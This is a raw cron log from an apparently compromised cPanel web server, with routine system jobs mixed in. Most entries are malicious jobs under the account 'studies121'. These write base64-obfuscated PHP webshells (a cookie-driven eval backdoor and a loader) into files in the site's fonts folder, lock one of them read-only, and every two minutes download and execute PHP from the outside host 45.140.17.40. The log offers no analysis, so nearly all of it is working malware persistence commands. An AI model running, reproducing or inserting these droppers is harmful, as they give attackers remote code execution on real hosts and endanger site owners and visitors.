Sep  5 15:37:01 ip-184-168-122-23 CROND[11931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:37:01 ip-184-168-122-23 CROND[11933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:38:01 ip-184-168-122-23 CROND[12012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:38:01 ip-184-168-122-23 CROND[12014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:38:01 ip-184-168-122-23 CROND[12011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:38:01 ip-184-168-122-23 CROND[12013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:38:01 ip-184-168-122-23 CROND[12015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:39:01 ip-184-168-122-23 CROND[12111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:39:01 ip-184-168-122-23 CROND[12115]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 15:39:01 ip-184-168-122-23 CROND[12116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:39:01 ip-184-168-122-23 CROND[12114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:39:01 ip-184-168-122-23 CROND[12113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:40:01 ip-184-168-122-23 CROND[12287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:40:01 ip-184-168-122-23 CROND[12290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:40:01 ip-184-168-122-23 CROND[12291]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 15:40:01 ip-184-168-122-23 CROND[12289]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:40:01 ip-184-168-122-23 CROND[12292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:40:01 ip-184-168-122-23 CROND[12293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:40:01 ip-184-168-122-23 CROND[12294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:40:01 ip-184-168-122-23 CROND[12295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:41:02 ip-184-168-122-23 CROND[12410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:41:02 ip-184-168-122-23 CROND[12411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:41:02 ip-184-168-122-23 CROND[12412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:41:02 ip-184-168-122-23 CROND[12409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:42:02 ip-184-168-122-23 CROND[12538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:42:02 ip-184-168-122-23 CROND[12540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:42:02 ip-184-168-122-23 CROND[12541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:42:02 ip-184-168-122-23 CROND[12539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:42:02 ip-184-168-122-23 CROND[12542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:43:01 ip-184-168-122-23 CROND[12631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:43:01 ip-184-168-122-23 CROND[12634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:43:01 ip-184-168-122-23 CROND[12633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:43:01 ip-184-168-122-23 CROND[12632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:44:01 ip-184-168-122-23 CROND[12707]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:44:01 ip-184-168-122-23 CROND[12706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:44:01 ip-184-168-122-23 CROND[12709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:44:01 ip-184-168-122-23 CROND[12708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:44:01 ip-184-168-122-23 CROND[12710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:45:01 ip-184-168-122-23 CROND[12790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:45:01 ip-184-168-122-23 CROND[12795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:45:01 ip-184-168-122-23 CROND[12794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:45:01 ip-184-168-122-23 CROND[12796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:45:01 ip-184-168-122-23 CROND[12792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:45:01 ip-184-168-122-23 CROND[12793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:46:01 ip-184-168-122-23 CROND[12899]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 15:46:01 ip-184-168-122-23 CROND[12901]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 15:46:01 ip-184-168-122-23 CROND[12904]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:46:01 ip-184-168-122-23 CROND[12900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:46:01 ip-184-168-122-23 CROND[12902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:46:01 ip-184-168-122-23 CROND[12905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:46:01 ip-184-168-122-23 CROND[12906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:47:01 ip-184-168-122-23 CROND[13019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:47:01 ip-184-168-122-23 CROND[13022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:47:01 ip-184-168-122-23 CROND[13023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:47:01 ip-184-168-122-23 CROND[13024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:48:01 ip-184-168-122-23 CROND[13100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:48:01 ip-184-168-122-23 CROND[13101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:48:01 ip-184-168-122-23 CROND[13102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:48:01 ip-184-168-122-23 CROND[13099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:48:01 ip-184-168-122-23 CROND[13103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:49:01 ip-184-168-122-23 CROND[13276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:49:01 ip-184-168-122-23 CROND[13280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:49:01 ip-184-168-122-23 CROND[13278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
